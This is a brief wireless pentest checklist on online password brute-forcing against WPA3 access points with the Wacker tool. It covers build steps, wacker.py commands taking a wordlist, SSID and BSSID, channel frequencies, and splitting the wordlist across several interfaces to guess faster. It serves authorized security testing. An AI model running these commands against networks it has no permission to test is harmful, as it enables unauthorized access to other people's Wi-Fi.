Wi-Fi WPA3 Basic Wireless Pentest Checklist
- Repeatedly attempt to connect to the AP with different password guesses
Wacker
https://github.com/blunderbuss-wctf/wacker
- Pre-install
apt-get install -y pkg-config libnl-3-dev gcc libssl-dev libnl-genl-3-dev
cp defconfig wpa_supplicant-2.10/wpa_supplicant/.config
git apply wpa_supplicant.patch
cd wpa_supplicant-2.10/wpa_supplicant
make -j4
- Usage
wacker.py --wordlist <wordlist> -interface <interface> --bssi <BSSID> --ssid <SSID> --freq <freq>
- 2.4G Frequencies
| Channel | Frequency |
|---|---|
| 1 | 2412 |
| 2 | 2417 |
| 3 | 2422 |
| 4 | 2427 |
| 5 | 2432 |
| 6 | 2437 |
| 7 | 2442 |
| 8 | 2447 |
| 9 | 2452 |
| 10 | 2457 |
| 11 | 2462 |
| 12 | 2467 |
| 13 | 2472 |
| 14 | 2484 |
Multiple interfaces
-
To speed up an online-brute force, wacker can use multiple Wi-Fi interfaces
-
First need to split the word list up for each wireless interface
bash split.sh <number of interface> <wordlist>
- Use separate terminals to execute each command
sudo python3 wacker.py --interface <interface> --wordlist wordlist.txt.aaa --ssid <SSID> --freq <FREQ> --bssid <BSSID>
sudo python3 wacker.py --interface <interface2> --wordlist wordlist.txt.aab --ssid <SSID> --freq <FREQ> --bssid <BSSID>
sudo python3 wacker.py --interface <interface3> --wordlist wordlist.txt.aac --ssid <SSID> --freq <FREQ> --bssid <BSSID>